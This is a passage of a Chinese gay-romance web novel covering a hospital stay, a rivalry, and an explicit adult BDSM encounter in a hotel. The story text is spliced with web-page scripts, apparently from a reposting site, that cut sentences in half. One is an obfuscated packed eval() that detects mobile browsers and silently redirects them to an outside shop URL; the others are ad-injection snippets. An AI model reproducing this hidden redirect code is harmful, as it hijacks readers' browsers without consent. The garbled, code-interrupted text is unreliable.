甄均想到方霁身上还有伤,他也不好意思真麻烦一个病人,拒绝了:“不用,汤里都已经浸上葱花味了,我一会再出去重新买就行。” 方霁味蕾没他那么敏感,但知道像甄均这种特别讨厌葱花、香菜的人,哪怕挑了出来,也不能接受。 “你也看到了,我现在没事,先去吃了早餐再过来。从昨晚到现在空腹了那么长时间,又一晚上没休息,别一会真累倒在医院里,我还得给你摇医生救命。” 甄均对于方霁的关心很是受用,朝对面的男人扬了扬唇,道:“只要是牵涉到方哥的事,我永远不会嫌累。” 贺知行压根没搭理他这种花孔雀求偶行为。 方霁是真饿得前胸贴后背了,吃着馄饨,没留神两人的暗潮涌动,咽下后骂道:“少在这恶心人了,赶紧去换了身上这套衣服,再洗个热水澡睡一觉。” 确认方霁真没事,甄均悬着的心也终于得以放下。不提还好,这么一说他确实感觉自己心跳挺快的,有种快要猝死的刺激感。 在方霁的多番劝说下,这才依依不舍地松口道:“那方哥,我晚上再过来看你。” 方霁笑道:“行,快滚吧。” 甄均走了,留下方霁跟贺知行两人还在病房里,另外一份鲜肉馄饨则进了贺知行的嘴里。 “你吃两份?”方霁看到他的动作愣了愣,他以前怎么不知道贺知行的胃口有这么大? “不撑的慌吗?” 贺知行舀起一勺汤,说:“在外面没吃饱。” 方霁:“???” 没吃饱你就回来? 贺知行却没再解释,专心手上馄饨。 这家没有他们大学时期常吃的那家好吃,只到能入口的程度,却不够鲜甜。难怪方霁当初一吃就吃了四年,每周几乎都会去吃个三四回,从不觉得腻。 方霁见状也不好再说什么,反正胃长在贺知行身上。 等用完早餐,趁贺知行收拾的间隙,方霁觉得自己还是应该有所表示。 正如上回酒吧那次,他这人不爱欠人情,能尽早还就尽早还了,省得积攒在一起让他总有种欠了一屁股债的感觉。 同性的救命之恩,以身相许是不可能的,方霁问:“你有什么想要的吗?算是答谢你昨晚背我出来。” “什么都可以?” “别蹬鼻子上脸太过分就行。” 贺知行想了想,抛开情感不谈,他到现在其实也没什么特别想要的,物质上的需求他自己就能解决,“不……” “不许说不用。”方霁猜到他想说什么,先一步打断:“你也只有今天这一次机会,实在说不出我就直接转账了。” 这是他能想到最简单粗暴也最能偿还清人情的办法。 “我不缺钱。”贺知行道。 相较起来,他现在比方霁有钱多了。 方霁也反应过来这一点,唇角轻微抽了两下:“你这人不气我两句就活不下去了吗?” 贺知行摇头:“我也没想故意气你。” 方霁不想听他解释,摆了摆手:“一个大男人少墨墨迹迹的,趁着我现在还有耐心,有什么想要的就快直说。” 贺知行思忖了片刻,还真想起一件事来。他的目光投向方霁正放在床头柜上充电的手机,道:“黑名单,能不能不再进?” 方霁一共拉黑过贺知行两回,一回是发现贺知行总是故意和他作对后,一回就是上次从贺知行出来的路上。 他没有动辄就将人拉黑的毛病,在贺知行之前,他只拉黑过一些误加的推销广告商。 将贺知行从黑名单放出来对他来说并不是什么难事,他也真的说到做到,拿过手机、解锁、拖出黑名单。 “好了。”方霁顺便点了一个表情包发过去,以此证明自己确实将他放出来了。 “你想要的就这么简单?”方霁放下手机后,不可思议道。 他还以为贺知行会向他索要一些资源,或者让出某项合同,没想到只是让他解开微信上的一个黑名单。若是换了贺知行许诺他一件事,他绝对不会这样轻易浪费。 跟钱过不去指定是洗头的时候水倒流进脑子了。 “嗯。”贺知行将方霁发过来的表情包点击了收藏,这才将手机收起来,道:“这样就够了。” 方霁难以理解,可从贺知行的语气和表情来看,他似乎确实对此挺满意的,只当他是有什么不能进别人黑名单的强迫症。 - 甄均在医院附近找了一家酒店,插上房卡后第一件事就是进浴室,再出来已经是十五分钟后。 他一边用毛巾擦拭着头发,一边解开手机。 【母上大人:跟你表哥见着面了吗?】 【母上大人:在干什么,怎么大半天不回我消息?】 甄均先回复了第二条消息。 【甄均:跟方哥在外面爬山呢,没看到消息。】 怕远在外地的周女士担心,他没说昨晚出事的事。 消息发出去没多久,周女士就追着发了一条语音过来。 甄均点开。 【母上大人:爬山?哎哟,我可看新闻上说有台风登录晋城一带,你怎么还出去?】 晋城和华拓山挨得近,就是隔壁市的关系,晋城也会受到影响甄均丝毫不意外,对于周女士的反问他也早有所料,于是直接打了个电话过去让她放心。 “喂?妈,你放心吧,我真没事,而且我们下山的时候台风还没来呢。你问方哥?他最近也挺好的,你就别替人家操心儿子了。” 电话的最后,周女士又问起了跟裴青川见面的事,甄均只能搪塞已经约好了时间。 挂断电话,甄均看着通话记录兀自出神。 他真想不明白他妈为何如此执着于让他找裴青川,就因为他是丁阿姨家里的孩子?是个免费的指导老师? 人都是有逆反心理的,甄均承认他对周女士的反复提醒有些反感,但对方到底是他此生最爱的女人,能满足还是尽量满足。 只是他也会不由得想:他这些年的表现真有那么差劲吗? 退出通讯录界面,甄均再次点进了微信。 【裴青川:你想什么时间见面?】 这条消息是在昨天发来的,也就是他和方哥在山上的时候。他看见了,但没回。 没别的原因,就是单纯不喜欢这个男人,能急死他最好,一劳永逸。 但他也知道这根本不可能,人家脑子正常,快死了还会打120。 【甄均:下周三?】 他这段时间还要照顾方哥,并不打算马上回晋城。 【甄均:地点你定。】 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773835|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方霁住院这几天,将工作交给了助理代理,所有会议延迟,必须他出面的重大决策则通过线上会议进行。 刘叉未经他允许,私自将他的个人行程泄露给贺知行,这事确实挺令他恼怒的。 但凡事都要依情况而定,看在这回阴差阳错被救回一条命的份上,方霁没真跟他计较,也算是功过相抵。 至于这段时间的加班,方霁承诺会另外给他发放奖金。 刚在手机会议上交代完所有注意事项,一扭头就看到坐在对面病床上的男人。 “你还不回晋城吗?”方霁忍不住问道。 病房内没有图书,贺知行又不是一个沉迷于电子产品的人,就从楼下架子上顺手拿了几份宣传手册。 “不着急。”贺知行道,“公司这几天没什么事务需要我处理。” 贺知行也真是闲得,那么几页纸,居然能盯着看那么久,怕不是把妇产科的宣传广告都一字不落给背了下来。 方霁还是无法适应跟贺知行待在一个房间内,好似对方的存在对他来说就是一瓶毒药,通过空气发挥作用,吸入后令他浑身不自在,仿佛有无数蚂蚁在爬。 “我急。”他向来有事说事,更不喜欢拐弯抹角。 “你堂堂一个大总裁,真喜欢这里的话就将医院一并收购了。想怎么住怎么住,哪里用委身跟我挤在这一间小病房里。” 贺知行那栋小别墅里,就连最小的房间都比一般住宅的客厅大。 贺知行放下手上的小册子,认真道:“公立医院不可私人资金收购,强迫交易判处三年以上七年以下有期徒刑。” 方霁呵呵干笑了几声。 他当然知道这种行为是犯法的,但他今晚绝对不能再跟贺知行住在同一个病房内,否则晚上一入睡,就同在身边埋了颗不定时炸弹,随时可能被贺知行发现不对劲。 他更不可能一晚上都不休息。 “……” 甄均晚上过来探房时看到贺知行居然还在,声音里不自觉就带上了硝烟气:“你为什么还没走?” 贺知行正要出门,就在走廊迎面遇上甄均。 与甄均藏不住所有心事和情绪的样子比起来,他表现得更加沉稳,道:“入院手续是我办的,所有费用也是我一次交清的,我有留在这里的权利。” 甄均压着临近阈值的脾气,拿出手机:“一共多少钱,我转给你。” 贺知行却无动于衷:“你是以什么身份替他交钱?” 甄均反笑一声:“那你又是以什么身份?老实说,我可从没听方哥提起过你,该不会只是一个才认识几天的陌生人?” 他将“陌生人”三个字刻意咬得很重,想不听出他是什么意思都难。 “刚成年没多久?”贺知行没精力跟他浪费时间,留下这句话便要走。 甄均一把抓住了男人的手臂,眼神阴冷:“你跟他究竟是什么关系。” 贺知行扫了一眼被握紧的地方,对方力道很大,衣服表面已经出现褶皱。 他知道甄均不得到一个回答是不会善罢甘休的,随便挑了一个无关紧要的答案,道:“大学室友。” 谁知甄均在听到这四个字时却突然一僵,松开了抓着他的手,方才气焰嚣张的神情出现一丝绷不住的裂纹。 良久后才开口:“你说你们是什么关系?” 15. 第 15 章 等贺知行从高档餐厅将饭菜打包带回来时,隔着一扇门,就听到面前病房内传来氛围融洽的声音。 甄均已经先他一步给方霁准备好了晚饭,这个时候方霁也差不多吃饱。 贺知行将手上的饭菜送给了值班还没吃饭的护士,这才推门进去。 不管是贺知行还是甄均,方霁都不会允许他们今夜留下。 至于这两人都表达愿意留下来照顾他,方霁没有任何偏心,一律归为了有病的范畴内,不然没事上赶着给他当奴仆做什么,还没钱拿。 他将这次住院的所有开销都转给了贺知行,贺知行起初没要。 方霁是一个有原则的人,已经答应的事不会再出尔反尔,他说了微信上不会再拉黑贺知行就一定会遵守诺言。 但他可以换一个通讯录。 其实他觉得拿拉黑这种行为威胁对方挺幼稚的,就算成功了也没什么好炫耀的。但方霁除了这个办法,实在想不到还有什么可以威胁贺知行的。 这人从大学到现在就洁身自好,既无不良嗜好,也无任何绯闻黑料,在工作方面更是完美到无可挑剔,简直不像个正常的碳基生物。 不过好在,贺知行对于被他拉黑这件事表现得特别在意。 方霁心想,办法不分贵贱,只要能奏效就是好办法。 一听到要拉黑通讯录,贺知行果然接受了他的转账,看着那比他支付出去还要高出不少的额度,刚想退还给他。 “多的不用退,算是你替我买早餐的跑腿费。” 他爱赚钱,但更享受生活,能力范围内,不会在物质方面委屈自己。 如果不是公司出事,资金紧张,方霁其实在各方面都挺大方的,逢年过节送朋友的礼物都是五位数起步,遇到满意的服务员会多给些小费,就连公司的奖励机制和员工福利也十分丰厚。 所以当得知有人居然会背叛他时,方霁是真挺意外的。他自认为待公司的任何一个人都不薄。 “我现在公司是出了点事情不假,但还没到那么抠门的地步。” 推拒次数多了反而适得其反,贺知行便没再退回去。 “上次那三十?”贺知行不经意间问。 “你嫌少?” 方霁那时候兜比脸还干净,直到在猩光晚会上谈成几个小项目,手头才稍微宽裕了些。只是他先让财务部拿去给员工发放工资了,现在剩下三分之一不到。 “不是。” 其实贺知行真正想问的是那是不是嫖资,但估计话一出口,只会又惹得方霁不快,毕竟上回对方就毫不犹豫地将他拉黑了。 “那你想说什么?” “没什么。” “……” - 晋城,西皮咖啡店。 “先生您好,我们店就要打烊了,如果您还有需求,欢迎明天再次光临我们店。” 甄均趴在桌子上睡得很沉,在服务员将话重复第二遍时,才魂魄归位似的腾一下坐起来,鼻音拉出厚重的调子:“嗯……好。” 他站起身,浑浑噩噩地准备要往外走,服务员却又叫住了他。 “先生,您要不过一会再出去?”服务员提醒道。 甄均停下来,胡乱抓了两把头发迫使自己清醒几分,不解道:“为什么?你们不是急着关门?” “是这样没错。”服务员难为道,“但您现在这样出去,可能会引起不必要的误会。” 一会路上不明真相的行人瞧见了,还以为他们咖啡店满百赠一,有殴打顾客的高级服务。 意识到什么,甄均迅速掏出手机打开相机模式,一道红印赫然横在他半边脸上,而他拿手机的那只手,被头颅的重量压成了暗紫色。 甄均:“……” 看清外面已经彻底暗下来的天空,甄均的脸上五彩缤纷,一时间转变得比著名喜剧人的相声还要精彩。 等从咖啡店出来,甄均从微信好友列表中翻出对方的头像,直接一个语音通话打了出去,劈头盖脸道:“你人呢!?老子在咖啡店等到人家都打烊了!” 裴青川刚接听就将手机拿远了,但还是被他吼得连眼睛都疼。 他按下面前电梯的摁键,等待的间隙道:“我不是让助理去接你?” 甄均冷笑一声:“呵,我连根毛都没见着。” 裴青川神色仍旧冷静:“助理的车爆胎了,我临时有事。” 什么车早不爆晚不爆,偏偏在要来接他的时候爆胎? 就算真那么巧,偌大一个公司,就只有那一辆车?去借去租不行? 甚至连给他发个消息解释一声的功夫都没有?! 甄均算是看透了:“你他娘就是故意整我的是吧!又是车爆胎又是临时有事,你下回还准备做什么?干脆来个自爆而亡怎么样!” 电梯门打开,裴青川走进去,对于甄均的质问丝毫没有要解释或者掩饰的意思。 “嗯,被你发现了,还算有点脑子。” “如果非要细究起来,上回是你先放我鸽子,我们也算两清了。” 上次甄均发消息给他,说自己周三有空,两人约定上午七点在西皮咖啡店见面。 裴青川那天特意推迟了原定的早会,提前抵达约定的地点,却等到了大中午也不见人来。 谁知甄均压根就不在晋城,非但如此,就连消息也是下午睡醒才回复他的,一句轻飘飘的“我忘了”就想简单了事。 “我这人挺小肚鸡肠的,你要是想好了跟我见面,最好趁早认清这一点。我不跟任何没有社会价值的人浪费时间。” 甄均哪能听不出对方的明嘲暗骂,握紧了手上手机。 他一开始确实不是自愿想跟裴青川见面,但从今晚开始不一样了,他就是掘地三尺,将整个地球翻遍,也非得见见这人不可! “你给我等着,总有一天我会让你连哭都哭不出来。”甄均狠厉道。 叮,电梯抵达一层,手机另一端的男人早就听惯了社会上形形色色的威胁,无声地笑了。 “随时恭候。” 挂断电话,裴青川将手机收起来。早就等在一楼大厅的助理瞧见他,走上前来,双手递上车钥匙。 “裴总,车修好了,所有车胎都换了新的。” 裴青川接过车钥匙,嗯了一声:“辛苦,费用直接报给财务部就行。” “好的裴总。” 裴青川走出公司大楼。 霓虹灯的光线如同随着夜幕降临的星河,在城市的大街小巷中穿梭。今晚下班的时间比平时晚了两个小时,他不打算再回家自己做饭,驱车到一家经常光顾的餐厅。 男人身形颀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长,一身黑色衬衫熨帖平整,斯文禁欲却又透着一种不沾世俗的距离感。前台的店员立刻就认出了他,上前引着他到一个靠窗的位置,递上菜单。 “今天还是上你们这最近新出的那个套餐吧。” “好的裴先生。” 店内的食物都是用当日的新鲜食材现做现上的,味道很符合裴青川的喜好,就是等待上餐的时间稍微长了一些。 趁着这个时间,他跟其余部门的主管交代了一些工作上的要点和明天的安排,等退出这个简约的线上会议,他点的餐也陆续上齐。 “先走,您的餐已经全部上齐,请您慢用。” 裴青川微微点头,放下手机开始用餐。 准备结束时,一旁的手机突然响了一下,紧接着屏幕亮起,弹出一条来自陌生人的短信。 没有自我介绍,没有表明来意,只有令人琢磨不透的四个数字。 “1068。” - 甄均挂断语音通话后,脸色仍旧很差,对着与裴青川的聊天界面低骂了几声,才将手机扔进卫衣口袋。 抽回手时有什么东西被他带了出来,飘到他腿边的地面上。 是一张已经被洗到发皱的白纸。甄均蹲下身捡起,正面什么都没有,又翻过背面,看到一串被水晕染开来的数字。 他数了下,十一位数,看样子是一串电话号码。 对方使用油性笔写的,哪怕被水浸泡过一轮,内容也不至于模糊到完全辨认不出。 甄均回忆了一下这东西究竟怎么来的。 首先,这字迹一看就不是他的,其次,他也没有关于自己收了它的记忆。 那就只能是别人,在他不知情的情况下放了进去。 他最近都接触了谁? 上一次穿这件卫衣……好像是半个月前到晋城的第一天。 他跟方哥吃完饭,一起去了当地最大的gay吧,他坐在吧台喝了些酒,然后有个戴着金丝眼镜的男人找上他。 甄均想明白后先是一愣,随后笑出了声。 亏他找了这人那么久,甚至让好友帮忙调查,没想到对方在那一夜就留了联系方式! 这么想来,他那天暴露了自己的姓名也不算亏。对方凭借一个名字,只是有找到他的可能性,但他却是可以通过电话号码直接联系对方。 这张看似简陋、随手撕下的纸,拥有决定权的是他。 甄均除了在方霁面前,不是一个会刻意压制自己欲望的人。 他同样知道自己这种恋爱观很畸形,一边有喜欢的人,一边还要跟其他人约炮。可他看得很开,并不因此厌恶自己,更别提法律上也没有命令规定这种行为是不允许的。 他没直接拨打电话过去,点开短信,在输入对方的电话号码后发了四个数字过去,没有任何解释。 1068,他们上次开房的房间号。 如果这张纸条真是那个男人留下的,甄均相信他会明白这是什么意思。 确认短信发送成功,甄均在路边随手拦了一辆出租车,“去遵堵街二区的佳度酒店。” 车辆刚行驶上大桥,甄均的手机就亮了起来,对方的回复同样简洁。 “一个小时后。” 昏黄的路灯从车窗照进来,甄均放下手机后扯了扯唇角。 16. 第 16 章 一周后,方霁的复查结果一切正常,可以出院回家休养。 他不方便开车,喊了助理过来接他,等待红绿灯的间隙,方霁突然开口道:“小刘,你跟贺知行私下有联系?” 刘叉猝不及防听到到这个问题,先是受惊似的一顿,随后很快串联起事情的起因经过,坦然承认道:“有过一次,方总。” “上个星期,贺总加上我的联系方式,向我询问您在哪。” 一个星期前,正是方霁跟甄均去华拓山那天。 “所以你就那么轻易说出去给他了?” 刘叉连忙摇头解释道:“他说您可能遇到了困难,我才告诉了他您的行程。” 方霁都不知道该说这小助理太过单纯好骗,还是过于善良。 “你们之前联系过几回?”方霁沉默了一会后道。 刘叉握紧了面前的方向盘:“在此之前,我跟贺总没有任何私下联系。” 车内又重归于静。 绿灯亮起,方霁通过后视镜注意着刘叉脸上的表情,确实不像说谎的样子。 姑且就信他一回。 说起来,过去这么久,他一直没有好好思考过一个问题:贺知行那天为什么要不远万里驱车到华拓山找他? 他们充其量就是一个大学室友的关系,还是过去式,到如今已经不剩下什么同窗情谊。 从晋城开车到华拓山,最快也要一个多小时,又是台风暴雨天,贺知行究竟为什么要做到这种地步? 他现在还有什么值得对方所图谋的? 方霁想不透,车子汇入高速主道后,他也懒得再继续想下去,调整了一下姿势闭上双眼。 - 甄均率先抵达佳度酒店,先在附近便利店买了一盒标着尺寸在18-20cm的Condom,临到要结账的时候,想起那天晚上男人的神情,又折回去另外拿了三盒其他口味的和一盒红豆酱面包卷。 因为那个裴扒皮,他一个下午加晚上都耗在了咖啡店,到现在还没有吃晚饭。 收营员将几样东西扫描,一起装袋递给他。甄均走在路上就将面包拆开吃了,将包装盒扔进垃圾桶才走进酒店。 “开一间房,要1068。” 1068房间正巧是空闲的,前台工作人员很快为他办理好入住。 甄均拿着房卡乘坐电梯上楼,距离约定的时间还有二十分钟,干脆进浴室洗了个澡,等他出来,房门也刚好被人敲响。 男人还是和那天一样的穿搭,但细看就会发现,衬衫和西装裤的款式与那天酒吧内的存在细微差别。另外,他今晚没戴那副金丝眼镜,整个人看起来清冷很多。 甄均侧过身让对方进来,随后将房门关上并反锁。 两人都十分默契地没有提那天分开前说的“互不相识、各不干扰”。 成年人的世界,讲究的就是一个人情世故,心照不宣往往比什么都说出来要好。 还是上回宽敞的双人床,裴青川将搭在手臂上的外套随手扔在了床尾,“今晚为什么想起主动找我好了?” 要调查一个人对于他来说并非难事,只是觉得很没意思。面前这个青年,是他那晚在酒吧一眼看中的猎物。 高级的狩猎者,不屑于简单粗暴的追逐,而是运用谋略,令猎物在编织的幻境中一步步走向陷阱中心,心甘情愿地献上自己。 那比一成不变的打炮更加刺激。 甄均总不好说只是睡过一晚上,自己就对他的身体上瘾了,那对他来说不亚于一种耻辱。 他倒了一杯水润喉,随意道:“刚好看见纸条,想起来了就约一下。” 裴青川解了手腕上的手表,和手机一块放在了床头柜上,没有在甄均约他的真实原因上刨根问底。 “这段时间内跟别人睡过吗?” 甄均微微皱起眉头,脸上闪过一丝不悦。他不爱向人透露自己的私事,尤其还是一个连名字都不知道的陌生男人。 “我凭什么要告诉你?” 裴青川同样没再继续问下去,也没有生气。他站在青年面前,自顾自解开皮带,褪下了西装裤,露出一双力量感与性感并存的长腿。 甄均看清他身下的东西后连呼吸都乱了。 只见男人衬衫最下摆连着四根黑色带子,另一头固定在大腿上,各自形成左右两个圆环。 甄均知道衬衫夹这种东西,但他嫌麻烦从没用过,过去的床伴也没有像裴青川这种爱穿衬衫西装的,最多只在手机上偶然刷到过商品介绍。 男人腿上很干净,连一根明显的毛发都没有,大腿上的圆环勒出丰腴的肉质感,黑白分明,令那双上一秒还冷漠至极的丹凤眼都看起来魅惑了不少。 甄均承认自己因对方这副色情的模样心痒了,抬步走上前。 裴青川对他的反应很满意,却没有戳穿他一直盯着自己大腿看的事实,任由对方将手摸了上来。 虽然不是第一次摸了,甄均还是对这光滑的手感在心底惊叹了一声。 ……操,一个男人怎么皮肤能好到这种程度,跟块水豆腐似的。 就在他将要进一步时,男人突然后退了一步躲开。 裴青川扯下领带,像只狡黠的狐狸半眯了下眼,不由拒绝道:“手伸出来。” 甄均一开始没照做,直到男人勾了勾唇,补充道:“我带你玩点更刺激的。” 他的声音如同充满了某种蛊惑人心的魔力。 甄均刚伸出手,裴青川用领带迅速将他的双手绑了,随后一脚踹在了他的膝窝上。 噗通一声闷响,甄均跪在了男人面前。好在房间内还铺了一层地毯,才没有真的磕碎膝盖骨。 甄均刚想开骂,就看见男人眸色冷淡地道:“我不是巷子里谁都可以免费干的人,上一次是给你验货,这次该‘收费’了。” 甄均咬牙捱过一阵疼,仰起脸:“你想怎么收费?” 裴青川在床边坐下,将方才解下的皮带拿在手上,边缘粗粝的部分抬起青年的下巴,缓缓道:“五十鞭一次。” 甄均没有性虐的癖好,更不是抖m,但他也知道男人不是在开玩笑,哂笑道:“你这么贵?” 啪,裴青川的皮带毫无任何预兆地落下,抽在了青年的胸口,顿时红起一片。随后他的鞋尖挑开青年的浴袍,从中间踩进去,“看在你年纪小的份上,我才打了折。” “你信不信,出了这扇门,想和我睡的人能够从这里排到漠河。” 体验过一回登上极乐的销魂,甄均当然相信。 皮带抽在身上很疼,但男人似乎专门练过,刚才那一鞭看着严重,却没有造成实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 质性的伤害。等最开始的疼痛散去后,剩下的便是酥酥麻麻的刺激感,久久不散。 裴青川敏感地察觉到青年的身体变化,脚下加重了踩压的力道。 甄均呼吸跟着一重。 “就照你说的来。”他露出一个势在必得的笑。 他活到这么大,就没在这种事上怕过。 他倒要看看,到底是男人先用皮带将他抽到受不住疼,还是他一会将人*到连再抬手的力气都没有! 房间内响起了一阵富有规律的声响。裴青川手下没留情,每一下都使足了劲,但他还不想真闹出人命来,所以每一次的力道都把握得恰到好处,相差无几。 几百下过后,也不见表面有任何皮开肉绽要流血的迹象。 除了越来越重的呼吸声,甄均从始至终没有发出过声音,双眼死死盯着面前的人,心中一直默数着男人鞭笞的次数,直至数到第五百下才叫停。 他撑断了手上的领带,握住皮带的另一端,脸上全是汗水,说:“超出的一会再补。” 五百下,十次。 裴青川扫了一眼已经不能再使用的领带,有些可惜,但说到做到,扔下皮带后开始解衣服。 “等一下。”刚解开最上面的第一粒扣子,甄均就叫住了他,“别脱,就穿着这个做。” 裴青川笑了,明白过来青年这是喜欢他的衬衫夹,“套呢?” 甄均走到玄关处,将里面的东西连袋子一起拿过来扔在了床上,“喜欢哪种,随便你选。” 反正不管怎么选,最后也都是要用的,只是先后顺序不同而已。 四盒不同口味的Condom,还有一瓶润滑剂。裴青川这次直接笑出了声,“你口味还挺多样。” 这话里有两层意思,哪怕裴青川并未解释,甄均也心知肚明。 只是这明嘲暗讽的语气,怎么有些熟悉? 还有男人的声音,不知道是不是他的错觉,总觉得在哪里听过。 裴青川先拿起了规格标注为500ml的透明液体,撕开包装,挤了一些在手心揉搓开。 手感湿滑不油腻,正面标语还写着“天然补水,清爽免洗”八个大字。 “去洗澡。”男人命令道。 甄均不太想去,“你来之前我已经洗过了。” 裴青川转过身来,“年轻轻轻就视力有问题,看不见自己一身的汗?” 甄均的视线还停留在男人沾满透明液体、骨节分明的手上,不自觉吞咽了一下:“那你呢?” 裴青川知道他是什么意思,却故意曲解:“你确定一会等得起我洗完澡出来?” 甄均脸色一变,与男人无声对峙几秒后,转身进了浴室。 “水温记得调低一点。” 一墙之隔后的空间内很快响起哗啦啦的水流声,冷水浇在皮肤上,令毛细血管收缩,减轻了绝大多数疼痛。 不过五分钟,浴室的门就重新打开,青年显然忍耐到了极限,身前物件直挺挺地翘着,连眼眶周围都透着一圈茹毛饮血的红。 彼时的男人正坐在靠近床头的位置,看清他的模样和姿势后,甄均只觉浑身血液都在不可控制地冲向一个地方,简直快要疯了。 视线对上的刹那,裴青川冲他微微一笑。 “自己爬过来。” 17. 第 17 章 次日早上,甄均是被从落地窗外照进来的太阳晃醒的。 床上一片狼藉,周围随处可见的包装和废弃Condom,不远处的皮质椅子上,躺着一滩已经被风干的白色痕迹。 半梦半醒间,甄均胡乱伸出手想要去找自己的手机,却先触碰到了光滑的温热。 他猛地睁开眼抬起身,看清睡在一旁只露出一个后脑勺和半个后背的人,愣了好几秒才逐渐回忆起昨晚。 身体条件反射的紧绷过后,甄均又重新躺了下去,视线却无法挪动似的欣赏着留在男人背后的印记。 对方的身体就像一沾就上瘾的罂粟,脊背从宽阔的肩膀向下延伸,直至腰线处渐收渐细。他以为昨晚已经足够满足,可才过去短短几个小时,光是这么看着,他就又开始毒发了。 裴青川是给身后的动静刺激醒的。青年滚烫的身躯悄无声息贴了上来,一只手占有欲极强地环在他身前。 “你是真不怕死。”裴青川被吵醒后脸色有些难看,一晚上的脱水使得嗓子眼近乎干涩到极致,连开口的声音里都带着明显沙哑。 甄均摸到了就在枕头底下的皮带,强硬地塞到他手中,“记账上。” 裴青川却没那个心思了,扔开皮带,闭上了眼睛准备继续睡觉,警告道:“不许发出声音,也不许在脖子上留下痕迹。” 他不是冷冰冰、只会连轴转的工作机器,昨天差不多就将最近几天的工作都处理完了,理应享有放假和休息的权利。 现在已经是早上九点,甄均看出男人并不急着去上班,也彻底放下顾虑,遵循对方的要求,只做了两回。最后将头靠在男人后背,又一次睡着了。 也就是这一睡,他梦到了自己高中时期的旧事。 那时候的他并不是一个热衷于床上运动的人,除了上课爱睡点小觉、一个星期就逃课七天外,没犯过什么大错,甚至在那个小情侣畅行的校园内,连恋爱都没谈过。 要说他是从什么时候开始变成这样的,大概是在高三那年。学校为了节省高考生往返宿舍和教学楼的时间,重新调整了宿舍楼层,隔壁宿舍因为有些内部矛盾,便想趁着这次机会调换室友,于是就找上了他。 他倒是无所谓,对方承诺给他带半个月早餐便答应换了。 等住进新宿舍,才发现他们宿舍有一个有着特殊癖好的少年,私底下会化妆、换上女装,有时周末也会穿着裙子在宿舍内走来走去。 当初要和他换宿舍的人就是因为无法忍受这一点,觉得一个大男人弄这些东西娘们唧唧的,像个怪胎。 甄均却觉得还好。 可能是因为经常护肤的原因,少年长得很干净,换上女装更是明艳动人,完全能够以假乱真的程度。 出于对漂亮事物的怜爱心理,他为对方打抱不平过几次。 聚众斗殴,不出意外地被学校处分了,周女士来学校喝茶驾轻就熟得就跟回家一样。 他一开始以为对方只是有爱穿女装的癖好,后来才发现对方还是个gay,个人认知里一直是受位。 高三上学期刚结束的那个寒假,少年将他约了出来,说想请他看电影作为答谢。 他对同性恋这个群体了解不深,没有丝毫防备就去了。 那天少年穿的女装,戴了假发,穿着黑色长靴,如果不开口说话,完全就是一个清纯女生的模样,还是他喜欢的类型。 他们看的并不是什么最新上映的热门电影,现场的人不多。座位并排,在倒数第二排。 谁知电影才看到一半,少年就突然低下头趴了过来。 他那会第一反应是懵,第二反应就是爽,所以没有第一时间推开,甚至还按住了少年的后脑勺。因为手指勾到发网,差点将假发拽了下来。 情窦初开的少年人总是藏不住热烈的情感,连欲望也是,一眼明了。 从电影院出来,他们就找了一家宾馆。 在此之前,他以为他是喜欢女孩的,就连开房那天,也将所有冲动归咎于对方今天穿了女装,他才会产生生理反应。 但等回到学校,他们趁着宿舍没人又做了几次,对方没再穿女装,他依旧发了狠地握住对方的腰身,这才突然意识到:自己的性取向和普通人不同,他并不反感和男人做。 梦境的最后一幕,停留在少年和他提分手上。 “你根本不知道如何去爱一个人,像你这种只以自我为中心的人,永远不会有谁愿意留在你身边。” 至此,这场算不上正式的关系结束,最后一个字落下的瞬间,他也醒了。 不同于睡着前,男人已经与他身体分离,进到浴室洗完澡出来,顺便将地面简单收拾了一番,将十几只装满的Condom捡起来,扔进了垃圾桶中。 甄均躺在床上,目睹了男人动作的全过程,在看到男人当着他的面脱下浴袍,没有任何别扭地将衣服开始往身上套,他才终于开口。 “方便留个收货地址?我给你买些东西。” “什么?” “几件衣服。实在不方便就算了,我下次直接带给你。” 裴青川一眼就识破了他那点小心思,“喜欢看男人穿女装?” 他喜欢看男人穿女装吗? 甄均想了想他之前的约炮记录里,似乎从没要求过谁必须穿上女装。 但他这次却没有解释,笑说:“你穿上够骚。” “呵。”裴青川觉得好笑,“我该感谢你的夸赞吗?” 甄均无所谓地哼哼了两声。对方没有明确拒绝,放在他这就是默认同意了。 裴青川戴上手表,看了一眼时间,已经下午一点,距离午休结束还有一个小时。 就在半个小时前,助理发来消息告诉他临时有一份文件需要他过目后签署,虽然不是特别着急的文件,但他决定还是去公司一趟,也检查一下提前给员工们准备的元旦礼物质量如何。 “我们之后还能联系吗?”甄均说完才感觉自己这话显得太卑微,又不是在演电视剧,紧接着补充了一句:“我对你这身体挺满意的。” 裴青川已经穿戴整齐,恢复那副精干又疏离的模样,完全看不出不久前还拿着皮带抽人的病态。 “再说吧,我不爱和人共用一根东西。” 甄均第一联想到的就是男人昨晚问他“这段时间内跟别人睡过吗?” 这算什么?只许州官放火,不许百姓点灯? 再者都出来打炮了,居然还在意这个? “我不信你这段 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时间就没找过别人。”甄均反唇相讥道。 他们不是真的情侣,没有为对方洁身自好的必要。裴青川闻言也并未掩饰,“嗯。你也可以选择下次被我操。” 他对□□的对象要求不高,身体健康又看得开就行,但如果是别人想要进入他的身体,要求则格外严苛。 至于这一回,就算是他给小朋友的一个福利。毕竟年纪小,犯点错再正常不过,但只要肯听话,他也不会吝啬自己的包容。 在遇到下一个叫他满意的猎物之前,他也不会允许第二个人对他做出这种事情。 